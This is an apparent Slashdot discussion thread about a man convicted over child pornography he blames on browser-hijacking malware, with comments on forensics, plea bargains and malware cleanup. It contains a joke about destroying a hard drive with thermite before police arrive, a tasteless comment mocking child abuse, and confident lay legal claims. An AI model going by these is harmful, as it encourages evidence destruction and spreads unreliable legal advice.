Life-Ruining Browser Hijackers

LehiNephi writes "If you're not diligent enough at whacking malware on your computer, you could end up in jail, whether or not you actually did something wrong. Hijacked browsers can not only annoy you with a never-ending string of pop-ups, they leave a less-than-virtuous browser history behind on your computer. This guy claims that some piece of malware hijacked his home page, opened an unstoppable chain of pop-ups, and filled his cache with porn. He now has to register as a sex offender, even though he denies that he did anything his computer says he did. Makes me glad for built in pop-up blocking in Mozilla."

Comments

Yeah, that's highly likely!

[Saint Stephen]

The Browser made me do it!!!

I would think the justice department would be able to see if all the images in the cache were dated from that one single event or if they were spread over time. If he's telling the truth, it should be easy to prove.

A very convenient excuse.

Re:Yeah, that's highly likely!

[Vampyre_Dark]

That would require some form of intellegence at the justice department.

Re:Yeah, that's highly likely!

[Anonymous Coward]

Amen. Good stuff from TFA:

Telling people that "the computer" is downloading pornography on its own often provokes smirks and disbelief.

"I have to say it's like insisting the dog ate your homework," said Jeff Bertram, a systems administrator in New York City. "Are you going to admit that you downloaded porn to your pissed-off spouse or employer? Or to a judge? Hell no, your honor, it wasn't me. The browser did it."

Bzzt. Bullshit alarm. Spammers lie, well, so do ordinary people. Parent is dead-on, and so is the tone of the article.

Re:Yeah, that's highly likely!

[malchus842]

Maybe. But do you want to bet your future on your lawyer convincing a skeptical judge and jury that it was a technology problem? After all, they have evidence that the pictures were on your machine, under your control. I don't think I'd want to bet my future on that.

Moral of the story - use pop-up blockers. Run AdAware. Run AV software. Get some software that wipes unused areas of your hard disk and "shreds" files you delete. Be paranoid.

And yes, in the "old" days I ran into the same problem that the person described in the artcile had, but I was savvy enough to clear up my machine, wipe out the last vestige of those files and run software to wipe the unused area of the hard disk with random data.

Re:Yeah, that's highly likely!

[Anonymous Coward]

Yes, very easy to prove he is innocent. Oh wait, he doesn't have to prove that.

Re:Yeah, that's highly likely!

[StevenMaurer]

The problem is that it's not easy to "prove". File creation dates can be manipulated pretty easily.

Now is it easy for prosecutors to essentially figure out? Yes. But then you are at the mercy of whether the DA wants to make 'an example' of you, regardless of whether you actually committed the crime.

This happens more often than you might think. It's a pride thing. Furthermore, in certain jurisdictions, it's a job performance thing too -- prosecutors are evaluated on their conviction percentage.

Trust me. No matter how obvious the facts are, the best way to stay out of the system is to never get in it at all. Miscarriage of justice isn't just something that happens in Iraq.

Re:Yeah, that's highly likely!

[BrynM]

But do you want to bet your future on your lawyer convincing a skeptical judge and jury that it was a technology problem? After all, they have evidence that the pictures were on your machine, under your control. I don't think I'd want to bet my future on that.

That might be as simple as looking at the Judge's PC. I bet Spybot would find a few untidies in there with the associate pictures to help too! Then we'll look at his SPAM...

Re:Yeah, that's highly likely!

[Anonymous Coward]

The only people that know how to forensically extract info from HFS+ is the Royal Canandian Mounties.

Well, and me, as well as other people who've read this. Especially if, like me, they've managed to lose part of an HFS+ volume to failing media and had to recover it.

On the other hand I am Canadian so maybe you have a point...

Re:Yeah, that's highly likely!

[UpLateDrinkingCoffee]

Maybe, but the prosecutors aren't interested in justice, they are interested in convictions. I doubt if they would give the guy the benefit of the doubt, even if they saw the pattern you mention.

Re:Yeah, that's highly likely!

[abolith]

Or just rig up a piece or thermite to your HD. If those feds come a knocken my HD damn-near turns into Vapor.

Re:Yeah, that's highly likely!

[Anonymous Coward]

The problem is that it's not easy to "prove". File creation dates can be manipulated pretty easily.

Surely even a judge can see the absurdity of someone manipulating the dates on their history files, but still leaving a record of browsing child porn. It's far easier to just purge them altogether.

Re:Yeah, that's highly likely!

[gl4ss]

so moral of the story for normal people is: become a magician?

*"Nobody gave me a chance to explain. I was told by judge and prosecutor that I will get years in prison if I go to trial. After negotiations through my lawyer I got 180 days in an adult correctional facility. I was imprisoned for 20 days and then released under the Electronic Home Monitoring scheme. I now have a felony sex-criminal record, and the court ordered me to register as a predatory sex offender for 10 years."*

huh? you actually NEGOTIATE such things before the thing is even INVESTIGATED properly? huh huh. and _predatory_ sex offender, sounds kinda nasty doesn't it? (btw, anyone see something wrong with the thing that judge told him beforehand what he would get 'years' in prison unless he folded up, even if the evidence was somewhat fishy? besides in what kind of a nation that even pretends to be free if you're thrown into jail without a 'chance to explain' ie. hearing with an expert? )

and it was clear that the guy was bullshitting why bother with negotiations, just because they're fun?

though the real moral might have been to get a better lawyer(hell, I'd consider such 'dealing' to be a confession and if lawyer thought it necessary to deal before proper investigations then what was that lawyer good for in the first place..).

without knowing the story really one can't say much about it, but if it was really browser hijack then it would have been pretty obvious that the offending material was in fact ad's and probably not wanted in the first place(and in the cache).

though, from the end of the story "Some of the images were found in unallocated file space, and would have to have been placed there deliberately since cached images from browsing sessions wouldn't have been stored in unallocated space.".(unallocated file space? huh? wouldn't it be allocated if it had files, eh?)

still.. a RAPIST is predatory.. not some wanker.

Re:Yeah, that's highly likely!

[Short Circuit]

Well, I hope he appeals. And gets access to his hard drive, so he can have his own experts analyze the data.

Like another poster said, you should be able to determine something from the timestamps on the files.

If the data's missing, or even more recently accessed than when he last had the machine, he could also go after the Justice Department for destroying evidence.

As an aside...I've got a friend who's on the sex offender registry here in Michigan. He'd been accused of sexually abusing the child of a woman he'd thrown out of his house. (He'd been telling her to get a job and find another place to live for months...finally, he just threw her out. She turned around and filed charges. No medical evidence was offered, but it was still a better deal for him to take a plea bargain.)

It ain't pretty, and I pitty anyone who's been put on there without having actually done the crime.

Re:Yeah, that's highly likely!

[Short Circuit]

It doesn't matter if there's evidence that the defendant is not guilty. In fact, they're probably inclined to ignore any they find.

Their job is to attempt to prove to a judge or jury that the evidence that the defendant is outweighs the evidence that he isn't. And, unfortunately, a lot of people don't have a problem with "those nasty criminals" being convicted on quetionably evidence.

Re:Yeah, that's highly likely!

[Free_Meson]

and it was clear that the guy was bullshitting why bother with negotiations, just because they're fun?

It is cheaper, for the government, the suspect, and the potential jurors to settle a case before it gets to court. So long as the finding is considered equitable by both sides, why spend a ton of money on this guy?

Re:Yeah, that's highly likely!

[drinkypoo]

Sounds to me like they grepped his partition for jpeg/jfif signatures and then extracted any contiguous image data. Images found in unallocated file space would be very likely to be generated by the image cache. It's allocated until you delete the file, and the data is still there...

Re:Yeah, that's highly likely!

[object88]

The article also notes that "Jack" had this happen to him on several occasions, and at some point, his browser was going to the porn sites when he connected to his ISP. So there isn't a single instance.

Re:Yeah, that's highly likely!

[beachplum]

I remember when I first accidentally stumbled upon one of "those" sites - I had totally innocently been looking for something else (no, it wasn't the white house, either).

I was far too naive at that point to even realize what was happening! I can really see how it would be possible for somebody who was not tech savvy to just turn off their computer to make it "go away".

Fortunately thanks to other eye opening experiences and years of devoted /. reading I am no longer shocked and amazed by these things, but I bet there are plenty of end users out there who are still experiencing the same kind of shock and amazement I did that day.

Hey, it's possible that this guy really didn't get it. Also, a Soviet immigrant might be less likely to go ask a neighbor for help with his computer, if he was worried that somebody might find the contents of his hard drive objectionable. He might have even been fearing deportation.

Apparently, he got incarceration instead, in an ironic twist.. hm.

Re:Yeah, that's highly likely!

[swmccracken]

Look, we're talking about "Security Experts" that claimed that because the images were found in unallocated portions of the disk, he was clearly guilty! So, no, I don't think they'd be able to see it.

Some of the images were found in unallocated file space, and would have to have been placed there deliberately since cached images from browsing sessions wouldn't have been stored in unallocated space.

These 'experts' were pretty unbeliviably f'ing stupid - didn't they know that all caches automatically delete old files and once a file is deleted, whatever's there goes into unallocated space? That's the whole point of a cache?

Who, and why, would put files in unallocated space? Would this person know how to do this? (Not exactly common knowledge.) Or is it more likely that these were files - possibly part of the browser cache - that got deleted? Files possibly deleted by the previous owner?

Excuse me.. I'm ranting. Sorry.

Anyway, Most forensic scientists are competnent. Most 'security experts' are, well, bovine excrement.

Re:Yeah, that's highly likely!

[Colazar]

It's the underage thing. *Any* association with "Kiddie Porn" will trigger the Sex Predator label. That doesn't prove anything one way or the other about his conduct, and in fact since he only served 20 days in prison, I'd have to bet that there was nothing other than the pictures to convict him of.

I don't read anything into the fact that they were negotiating with the DA on a plea bargain, that's pretty standard. And you can criticize his legal advice, but the sad thing is, it was probably correct. Trying to build this defense case would be extremely difficult, and was likely beyond this guy's financial means. And once the people in the system believe that you are a sex offendor, you will have *no* margin of error.

Not to say that this isn't all BS; but you can't tell that from this synopsis.

Re:Yeah, that's highly likely!

[rodgster]

I believe the prosecutor is required by law to turn over excuplatory evidence to the defence. But incompentence could go a long way toward excusing the failure to turn over said evidence.

Re:Yeah, that's highly likely!

[trawg]

Moral of the story - use pop-up blockers. Run AdAware. Run AV software. Get some software that wipes unused areas of your hard disk and "shreds" files you delete. Be paranoid.

It sure is a pity this stuff isn't built into the Windows operating system.

Oh, yeh, that's right - if Microsoft did actually do this, they'd just absorb another anti-trust suit and get accused of using their 'monopoly' to put all those hard working anti-virus/anti-spyware companies out of business.

Re:Yeah, that's highly likely!

[Anonymous Coward]

That would require some form of intellegence at the justice department.

All that it requires is a half-decent lawyer. The defense has the right to examine the evidence presented by the prosecution. This will include a copy of the relevant contents of your hard drive. If the cached files date from the same small number of minutes, that could be the basis of a pretty good defense. Since the guy is facing a criminal charge, all that the defense needs to show is that there's a reasonable doubt of his guilt.

If you read the article, you'll see that this particular guy did not tell this story initially. Maybe he is opportunistically saying this now. Or maybe he's completely correct, and he was actually innocent. In either case, it is certainly not the responsibility of the prosecution to mount a defense for you! Don't blame them for the deficiencies in a person's defense.

Re:Yeah, that's highly likely!

[stew1]

In law enforcement circles, this is known as the "trojan defense", i.e. a trojan was responsible for downloading the kiddie porn, not the user. When the defendant makes such a claim, the investigator will typically restore the disk image to a drive or use software to make the image show up as a mounted drive (EnCase, the product I work on, can do this), and then run a few antivirus utilities against the disk.

Additionally, all computer evidence is circumstantial under the law. This puts a reasonably high burden of proof on the investigator, because s/he has to accumulate an overwhelming amount of evidence in order to convince a jury of guilt. A single kiddie porn jpeg won't convict you, nor will kiddie porn sticking around in unallocated. But if all the little artifacts that your OS and software drop all over your hard drive show a pattern of repeated and consistent abuse and intent, then you may want to make a deal. And many folks do make deals.

As for on-the-job matters, the best policy is probably one of prevention. If you've signed an acceptable use policy, live by it. If you've violated it, they have the right to can you. Update and patch your system. Turn off javascript in your browser. Don't install crappy software. If you think your system has been compromised, alert your system administrator immediately -- no one's going to care that you mistyped the White House's URL and ended up at a porn site -- so you avoid a problem later on. If you think you've been wrongfully terminated, or if you know you're being investigated, get a lawyer and a copy of the disk image so a private forensics investigator can help prove your innocence.

Jon

Re:Yeah, that's highly likely!

[emilng]

Of course the smart thing to do would be to tell everybody on Slashdot about it first...

Re:Yeah, that's highly likely!

[Short Circuit]

That may be differ from state to state, and between state and federal law.

IANAL

Re:Yeah, that's highly likely!

[jcr]

If he's telling the truth, it should be easy to prove.

He doesn't have to prove anything. It's up to the prosecution to prove something, and his lawyer was utterly incompetent.

All it takes to establish reasonable doubt is showing that even one program exists that can load up his machine with porn without his intervention.

-jcr

Re:Yeah, that's highly likely!

[Darby]

I believe the prosecutor is required by law to turn over excuplatory evidence to the defence.

Ah, but can you prove that they knew and didn't turn it over?
There are certainly decent people in the DAs office, but most people who go into prosecution are looking towards a political career. They can only further that by winning. Regardless of the guilt or innocence of those involved.
Lawyers generally are very competitive and for a lot of them it's a game. The score is kept by cases won or lost and they intend to win.

Re:Yeah, that's highly likely!

[ChangeOnInstall]

I would think the justice department would be able to see if all the images in the cache were dated from that one single event or if they were spread over time. If he's telling the truth, it should be easy to prove.


Consider the scenario of the user who only views porn in a Web browser, and does not save it to their hard drive. Bear in mind that saving porn to your hard drive is probably a skill that the average porn surfer does not possess. The malware program will behave identically to the intentional porn user. The malware will display pornographic websites and display them, as would the intentional porn user.

I don't think we're far from the day (actually it's probably already passed), where we see malware live up to the true meaning of it's name, and take actions simply to be malicious rather than for profit. In such a case, a malware author would not have a difficult time mimmicking the user saving pornographic content onto his computer in C:\WINNT\SYSTEM32\inetsrv\help data\dontlookinhere\SecretPornArchiveThatIHopeNoOn eFinds. Also bear in mind that it's not beneath a malware author to do such a thing in an effort to extort users into buying a specific malware removal tool, for example.

Furthermore, for the case of being fired (as opposed to the criminal issue), the standard of proof is far less than beyond a reasonable doubt, or even a proponderance. If you're an at-will employee you can be fired for any reason or no reason at all, and in cases like this employers have a zero tolerance policy or otherwise feel that it's the easiest way to deal with a potential problem. And in the event that you do even have a chance to fight it, you're going to have to show that your computer wasn't secure, in which case the IS department will swear you are lying (as it would reflect negatively on their performance to say otherwise). Your employer would be likely to believe your IS team, after all, as they would be seen as the experts on the matter.

Re:Yeah, that's highly likely!

[SacredNaCl]

Could
Happen Like This: Farm Sluts

Re:Yeah, that's highly likely!

[Geek of Tech]

Couldn't one just bring the PC into court, have a bailiff* connect to the internet and launch internet explorer? If it started showing porn while he was there, then the defendant gets off clean.

Re:Yeah, that's highly likely!

[cemaco]

There was something like this not so long ago as I recall. A guy in England accused of downloading child porn and made a similar claim. If I have it correct, he was found innocent.

In any case, you are probably right that this guy is probably guilty, but I can attest from personal experience that this crap can do embarrassing things to your P.C. My aunt was freaking out about the amount and nature of the porn that was popping up on her machine and until I got rid of it with Ad-aware it would just keep coming back no matter what she did to remove them.

Re:Yeah, that's highly likely!

[Anonymous Coward]

"Committing a felony is as easy as just one click." :-(!!!! I've been trying for years and I haven't succeeded yet! What am I doing wrong?

Sincerely,
KidLuvr321@aol.com

Re:Yeah, that's highly likely!

[realdpk]

Awful. I don't blame your friend exactly, but there are plenty of lawyers who will work on contingency. Go after her, get her kid removed from her (since she's obviously unstable), and get damages from the state for entertaining any of it.

I don't think I'd *ever* plea to anything that heinous.

Re:Yeah, that's highly likely!

[Nadsat]

"The police raided my house on Sept. 17, 2002," said "Jack," who came to the United States from the former Soviet Union as a political refugee, and has requested that his name not be published. "Nobody gave me a chance to explain. I was told by judge and prosecutor that I will get years in prison if I go to trial. After negotiations through my lawyer I got 180 days in an adult correctional facility. I was imprisoned for 20 days and then released under the Electronic Home Monitoring scheme. I now have a felony sex-criminal record, and the court ordered me to register as a predatory sex offender for 10 years."

No. Post 9-11 madness. Even if it was his own porn... why does that make him a sex offender?

Re:Yeah, that's highly likely!

[Unregistered]

It's called a plea bargain. He didn't want to risk completely ruining his life and having to go to prison as a sex offender (the only things worse than that in prison are shild molester and snitch).

Re:Yeah, that's highly likely!

[jshindl]

Yeah, I don't beleive this guy either. The fact that images were in non-cached sections of his hard drive (i.e. it was downloaded) makes me not beleive his story. Sure, having malware can send you to unwanted sites -- but it can't download pictures onto your PC (out of cache that is).

Re:Yeah, that's highly likely!

[jebell]

I am a lawyer, and a former prosecutor, to boot. I never worked in a sex crimes unit, but I thought I'd offer my thoughts:

I didn't see that this was a federal case, so the Justice Department probably wasn't involved. If I missed it, I'm sure someone will correct me, but I don't think the feds just go after a guy with a few pics on his computer. It's more likely local cops and prosecutors.

That said, generally prosecutors have to turn over exculpatory evidence. Prosecutors are not permitted to second-guess what's exculpatory and what's not. If they don't turn something over, the defense can ask the judge for a number of sanctions, the most extreme of which is a dismissal of the charges. No prosecutor I know of would risk that or risk being made a fool of in front of the judge. Naturally, there are going to be instances where the prosecutor doesn't turn something over because of an oversight and there are very rare cases where prosecutors intentionally withhold evidence.

One comment indicated that the prosecutors should be able to tell whether or not the pictures happened all at one time or spread out over a span of time. The prosecution is required to turn over the evidence only; not their intepretation of the evidence. So, they'd have to either (1) turn over a perfect copy of the hard drive; or (2) allow the defense to examine it. If they employ an expert, however, they'd be required to turn over his opinions and the bases for them.

Re:Yeah, that's highly likely!

[OrangeTide]

You said exactly what I was going to say, I guess I'm just too slow!

It's all about reasonable doubt. The existance of these hijacker apps and the difficulty in seperating the hijacker inserted material and actual web cache would be difficult.

Now don't get me wrong I don't want child molestors and child pornographer to go free. But there is something way worse than letting one go free, is to convict an innocent person of such a thing.

At first I thought, well I'd never agree to any sort of plea bargin, I don't want to be known as a child molestor. But the more I think about it, the less attractive the option of spending time in prison with people who think you're a child molestor. That's a good way to get beaten, raped, or killed. I'd rather get false convicted of murder or grand theft or even rape.

If he had a better lawyer and was willing to risk his case on reasonable doubt then he should never have gone for the plea bargin.

Now the question I want answers is this, when it comes to such an emotional topic such as child pornography are juries fair? are judges fair? If so, why accept a plea bargin? If not, well, then something is seriously wrong.

At the very least I believe he should take every developer of these hijacker apps to civil court and claim damages to his career, reputation and life. In civil court there is no such thing as reasonable doubt and as such it's easier to prosecute than to defend.

Re:Yeah, that's highly likely!

[bckrispi]

He doesn't have to prove anything. It's up to the prosecution to prove something, and his lawyer was utterly incompetent.

Not necessarily. In many states, defenses such as "the computer downloaded it, not me" are considered "affirmative defenses". This type of defense requires that the defendant show a measure of "proof beyond reasonable doubt" that his claim is legitamate. Another example of this is the "Not guilty by reason of insanity" defense that many states have. Here, it is the Defendant that must meet the burden of proof. But again, this depends entirely on which state you live in.

Re:Yeah, that's highly likely!

[Short Circuit]

Thanks. That was very informative.

In your field, have there been stories about abuses by organizations? I've heard (on Slashdot, anyway) that the FBI was very powerful in the 30s and the 50s/50s.

Re:Yeah, that's highly likely!

[jebell]

Well, I hope he appeals. And gets access to his hard drive, so he can have his own experts analyze the data.

What's he going to appeal? It was a plea bargain; he gave up most of his appellate rights. The only thing that stands out in my mind is that he could file an appeal based on ineffective assistance of counsel. In my experience, though, he wouldn't be likely to do this for two reasons: (1) appeals are extremely expensive; and (2) a claim of ineffective assistance of counsel has to be predicated on some kind of extreme negligence or malpractice on the part of the attorney. Bad advice alone isn't enough to warrant a reversal of his conviction.

Re:Yeah, that's highly likely!

[gmack]

Once someone forwarded a link to a bunch of people in our office.. it went to a kiddy porn site.. wich opened another 10 sites wich all opened another 10.. the windows machines had to be rebooted.. and the linux machines had have a "killall -9 netscape" (this was before mozilla)

Those people really are souless. I fixed all 4 computers doing it then went for the washrooms to finish feeling sick.

They need to bring back the death penalty for the people who rape children producing this stuff.

Re:Yeah, that's highly likely!

[jebell]

Ummmm... I don't think "contingency" means what you think it means. A contingent fee is a fee that is collected based on the amount of the award. The most common use of contingent fees is in personal injury cases; if you've ever watched TV, you know darn well that Dewey Cheatham and Howe doesn't cost you a cent until and unless you collect.

Furthermore, it's considered unethical (I know, I know, insert lawyer joke here) to collect a contingent fee in a criminal case. Why? Because then attorneys wouldn't take criminal cases they knew they would lose and poor Joe Child-Molester would never find competent counsel (contrary to popular belief, public defenders are only available to the indigent; most jurisdictions require a person seeking a public defender to disclose their financial information).

Re:Yeah, that's highly likely!

[somepunk]

Umm, that's spelled "intelligence"

Its ok. Spelling ability isn't necessarily linked to intelligence, or the authority to criticize that of others. Besides, it was really a "typing error" right?

Uhh, should that be "its" or it's"??

Re:Yeah, that's highly likely!

[JordanH]

• In your field, have there been stories about abuses by organizations? I've heard (on Slashdot, anyway) that the FBI was very powerful in the 30s and the 50s/50s.

What are you saying, that the FBI was very powerful in the 30s and then half (50/50) of the rest of the time?

Re:Yeah, that's highly likely!

[jebell]

No problem; I enjoy contributing to conversations I have some knowledge about, instead of just pretending like I normally do. System-wide abuse is a lot less prevalent than it used to be. When I was a prosecutor (2000-2002), my jurisdiction had about 10 different police agencies that would submit cases to be prosecuted, in addition to some other specialized state agencies. For the most part, the police were pretty clean. A couple of the agencies had a reputation for shoddy police work, but nothing abusive. I learned pretty quickly which cops were honest and which weren't. Thankfully, there were only a few dishonest cops. A few more were just lazy, which can be just as bad as dishonest, but for the most part they did a good professional job.

Coincidentally, my father is a retired FBI agent. I've never dealt with the FBI in a professional setting, but I know a little of the history. The FBI under Hoover was used to keep track of all kinds of people that Hoover saw as a potential threat. Thus, the FBI investigated everyone from Martin Luther King, Jr. to Elvis Presley. They undoubtedly used means to discover information that, by today's standards, would be considered illegal and abusive. Most of the time, this would not be a problem for the FBI because the sanction for obtaining evidence illegally is to throw the evidence out. If they're just keeping tabs on you and you're never arrested, there's little chance that you'd ever know about it.

That said, the FBI was usually way ahead of its time when it came to ensuring that they got their man. For example, they were employing Miranda warnings long before the Supreme Court issed the Miranda v. Arizona decision, which required the police to read a defendant his rights before questioning him.

One of the really great contributions of the FBI is that, wherever they interacted with the local police, they would encourage the local cops to adopt the same practices. This ultimately led to the creation of the FBI National Academy, where local police forces send their cops for training on legal issues as well as investigation techniques.

Re:Yeah, that's highly likely!

[MurphyZero]

No, idiot, he only saw it, he did not produce it. Please read the comment before before inserting your foot into your mouth, or since this is the computer, typing with one hand. You'll still stick your foot in your mouth, but you might be better informed.

By your logic, a person who saw a murder is guilty of murder. You wouldn't accuse such a person with murder, so it is silly to be accusing the innocent bystanders (annoying pop-ups or the browser hijacking) of possessing child porn.

Re:Yeah, that's highly likely!

[Moofie]

Because if he didn't do anything wrong, it's not very equitable, is it?

My taxes go to pay for investigations of crimes. I consider that money well spent when they discover that the accused didn't in fact do anything wrong.

Re:Yeah, that's highly likely!

[ergo98]

Yeah but then they have to throw the bailiff in jail.

Re:Yeah, that's highly likely!

[Hentai]

Yet that's exactly what's happening.

And the more fervent people get about finding and punishing the people who produce child porn, the more the government reacts by finding and punishing the people who receive child porn - willingly or not.

Re:Yeah, that's highly likely!

[the_mad_poster]

No, not grep (unless you're using 'grepped' as a general verb substitute for 'searched').

They make a perfect bit copy of the hard drive, a la dd(), without even booting the system. After that, the drive is usually searched in it's raw form for the various byte strings that identify the file type in the header using either a specialized forensic tool, or a standard raw disk read/write application.

Why, yes, I *have* done it, and it IS boring if you do it manually....

Re:Yeah, that's highly likely!

[Mal-2]

Beyond that, think of it this way -- the 'Net is a dangerous place. Imagine if every time you stopped at a red light in your car, little gnomes could sneak up underneath and cut your brake lines, fuel lines, transmission cooler lines, whatever. And you may or may not know about it, but you sure can't fix it from inside the car. Do you just keep driving, knowing you may not be able to stop, or do you pull over and have the car towed to a shop to fix it so you don't kill someone?

My mother has asked me to set up her machine so that she can use dial-up service, and I refused to do this on W98. I said I'd have to take the machine for a couple weeks while she's on vacation and do it then. I also said I'd put on a fully-patched W2K, but I realize that it's not going to STAY fully patched very long, no matter what I do, because dial-up is so ungodly slow. So I'm highly considering talking her into a Linux setup I won't have to worry about, even if it's less friendly to the user. After all, what good is a luxury car with no brakes?

Mal-2

Re:Yeah, that's highly likely!

[shadowbearer]

A serious (and somewhat general, since you're here) question:

How much ignorance do/have you seen with regards to somewhat obscure computer knowledge such as browser caches (or tmp files, or /var/log files)? I know you said you haven't dealt with sex crime_internet cases, but I'm more interested in the IT cases overall.

Who does the presiding judge tend to believe - those who can present the case in the terms the judge can understand, or the experts who really are cognizant of the technology involved? Is there a significant ratio?

(I know they are not mutually exclusive, I'm wondering about the cases where they weren't, which in IT patent cases seem to be too often.)

SB

Re:Yeah, that's highly likely!

[Hatta]

Yeah, the plea bargain system is fucked up. It just encourages police to charge people with worse crimes than the state can support, and extort a confession out of possibly innocent people.

Think about it. If you exercise your right to trial by jury, and lose, you may well end up with a much worse sentence. What this amounts to is the government punishing us for exercising our rights! Allow me to requote Chief Judge William G. Young of the Federal District Court in Massachusetts, from an excellent article (warning PDF) at theCato Institute.
For completeness, there is a companion article in favor of plea bargains.

Evidence of sentencing disparity visited on those who exercise their Sixth Amendment right to trial by jury is today stark, brutal, and incontrovertible.... Today, under the Sentencing Guidelines regime with its vast shift of power to the Executive, that disparity has widened to an incredible 500 percent. As a practical matter this means, as between two similarly situated defendants, that if the one who pleads and cooperates gets a four-year sentence, then the guideline sentence for the one who exercises his right to trial by jury and is convicted will be 20 years. Not surprisingly, such a disparity imposes an extraordinary burden on the free exercise of the right to an adjudication of guilt by one's peers. Criminal trial rates in the United States and in this District are plummeting due to the simple fact that today we punish people-- punish them severely -- simply for going to trial. It is the sheerest sophistry to pretend otherwise.

Re:Yeah, that's highly likely!

[shadowbearer]

Assuming the judge has a home computer - but OTOH, if he doesn't, then maybe he's not really experienced enough to judge those who do. Back when I did Wintech support one of my most reliable clients was a lawyer, home and office.

Had to throw that out here...

SB

Re:Yeah, that's highly likely!

[Evil MarNuke]

you actually NEGOTIATE such things before the thing is even INVESTIGATED properly?

Yes you do. Let say something happened and you are arrested on Thursday. They charge you with a crime and you are now looking at five years in jail. Friday morning, the judge sets bail at $50K. Your checking account has little over $1k and there about $3k in savings. You rent an apartment and drive a car valued at about $10k with $8k owed. You also have a wife and a kid. A lawyer costs about $20K to go to jury trial, but it will take three month to go to trail. In the mean time you sit in jail. A bench trial costs $3k, which is nothing more then a better pea bargin then the public defender can offer. It also gets you out of jail until trial. The public defendent is free, but is only intrested in pea bargining. They offer a pea bargin that will get you out in a 20 days, but you are on probation for five years and have a felon convention now. What do you do?

predatory_ sex offender, sounds kinda nasty doesn't it?

Would you rather be a plunder of kiddie sex offender?

besides in what kind of a nation that even pretends to be free if you're thrown into jail without a 'chance to explain' ie. hearing with an expert?

A nation that is intrested in profitting from crime. The cost to keep one person in jail for a year is about $25K. There are over 2 million people in jail in American (22% of the world jail pop,btw). That means incarcerating people is a 50 Billion dollar industry!! That's not including lawyers, court cost, judges, cops, probation fees, the value of prison labor used by private companies. In fact, most states spend more to build more jail then on colleges!!

The basic truth is there is a big money in criminalizing people. That's why if you are the one on wrong side of the law, you will get fucked. And only the o'mighty dollar will save you.

Re:Yeah, that's highly likely!

[wolrahnaes]

Umm...are you kidding me....

An application running on your computer can download what it wants to whereever it wants. Java and (to an extent) ActiveX "applications" are more restricted, generally only to the cache, but most spyware/malware/etc. are normal .exe or .dlls which have the same priveleges as the user they are running as.

Re:Yeah, that's highly likely!

[lonesome phreak]

To quote from the article:

Brian Rothery, a former IBM systems engineer who has been researching Jack's claims, pointed out that a significant portion of the images and URLs cited in the arrest papers are from fairly tame nudist sites, as well as adult sites that do not contain illegal materials.

He said that however the pornography arrived on Jack's computer, "the evidence wasn't handled properly, and his lawyer did not do his job."

Jack said he opted not to fight the charge because his lawyer told him he would probably receive a harsher sentence if he went to trial.

It seems he was scared into just accepting whatever was handed to him. It never went to trial, never in front of any jury. I know the feeling...I was in a similar situation. Not from pornography, but something else. I didn't bother fighting it due to lack of resources:

"The police raided my house on Sept. 17, 2002," said "Jack," who came to the United States from the former Soviet Union as a political refugee, and has requested that his name not be published. "Nobody gave me a chance to explain. I was told by judge and prosecutor that I will get years in prison if I go to trial. After negotiations through my lawyer I got 180 days in an adult correctional facility. I was imprisoned for 20 days and then released under the Electronic Home Monitoring scheme. I now have a felony sex-criminal record, and the court ordered me to register as a predatory sex offender for 10 years."

Basically, this guy was afraid of something worse happening, so he didn't fight it at all...

"They are very eager to get conviction," Jack said. "Nobody can fight those powers.

He knows that he can't fight a system stacked against him. I wonder if he had a "public defender".

Re:Yeah, that's highly likely!

[Anonymous Coward]

Heres how you would plea to something this heinous.

First let me say that as everyone knows, here in america, you entitled to a speedy trial.
What the right to a "speedy trial" means is, unless you waive that right, the trial process can last no longer than 6 months.

Once you're taken into custody and charged with a serious crime, these are your only options:

1) Bail Out. Go to trial.

Pay the bail.
Get out of jail.
Waive your right to a speedy trial.
Live a somewhat normal life until a jury rules.
Give your legal team time to present a convincing argument.

2) Stay in jail. Go to trial.

You cannot afford to bail, you stay in jail for at least 6 months.
6 months of being in jail will lose you your job, apartment, etc. Any loans you are paying on a month to month will default.
If you are found innocent at your trial you get 6mo's credit towards your next sentence should you get arrested again.
If you are found guilty you probably go from jail to prison.

3) Cop a plea.

If its your first offense, you dont have very much of a record, etc. The prosecution may offer you a "deal".

e.g. Plead guilty to a felony, get out of jail NOW, get 1-3 years probation, and credit for time served, possibly a treatment program, etc.

At this point, you've been in jail for weeks, if not months.
You know you're going to be in jail for 6mos to god-knows-how-long-you-could-go-to-prison if you are sentenced by a jury.

Sure a few months in jail doesnt sound that bad, until you have to do it yourself.
You're in, you know all your stuff will have been tossed out, auctioned off, or reposessed by the time you get out.
You live in a cell, or a tank with a bunch of thugs, smelly ass bums, junkie's kicking herion, etc.
Theres no privacy, you shit shower and shave in front of whoevers around.
The whole time you're wondering if you might end up spending the next X number of years this way...

That plea bargain deal starts sounding REALLY good...

Re:Yeah, that's highly likely!

[rodgster]

I've heard it called a Public Pretender.

Re:Yeah, that's highly likely!

[SB5]

Would you really want to be judged by a group of people that were too stupid to get out of jury duty?

Re:Yeah, that's highly likely!

[Anonymous Coward]

I had some malware on my machine, I think it was sms-universe and coolwebsearch was the other. One I got from the underdogs website and

I had adaware on my system, avg, regularly check my start up registry for unusual programs appearing in there.

Sms-universe was some kind of online dialer, thankfully there is no modem in the machine so that didn't work (I clicked no a few times and it opened lots of ads some for big respectable companies i believe, then it automatically downloaded somehow. Dunno how that happened since I clicked No.

CoolWebSearch changed my homepage to some kind of search site, but with porn images emblazoned on the bottom. Also I found other files and malware on my machine after tracking down those. It seemed like one loaded another, which loaded another. Meanwhile, no browser pages were opening automatically but a few strange programs were showing in the task manager.

I managed to finally get rid of it by running ad aware, avg a few times and also changing the search and start pages in Internet Explorer's registry. The Internet Options-> Tools, Homepage apply button didn't seem to work when I closed down the browser and re-opened it which was strange.

Also, I found various files and programs in my C:\Local Settings\Administrator\Temp directory (which I don't believe existed before), also additions to C:\WINNT\System, C:\WINNT\ and C:\

So I think its fairly easy to say that a browser hijacking can result in files being placed into a place outside the cache dir (which is what i really means when he says unallocated).

I couldn't tell by the timestamps that these files were dodgy. Only one of them had a recent date, which was start.chm. The others in the temp dir (one of them was a program running in memory, which wasn't there before).

Also, although the homepage changed, even though I check my system pretty often and know my way around the registry a bit, some of the stuff was difficult to find. If I had no clue about computers, I'd have been stuck.

Admittedly, there were no pictures hidden away (other than the cached homepages ones), but I'm sure it could haved happened and since bandwidth costs money, I wouldn't be surprised if this happens.

Anyway blah blah blah. I think it just means be more vigilant. Be more paranoid about websites. If people can create viruses or steal on the internet, they can certainly take advantage of a way to put you on a sex offenders list. Maybe if you're computer illiterate, you might have some of defence if your lawyer isn't a dumbass and you do have a virus or malware on your system.

Re:Yeah, that's highly likely!

[realdpk]

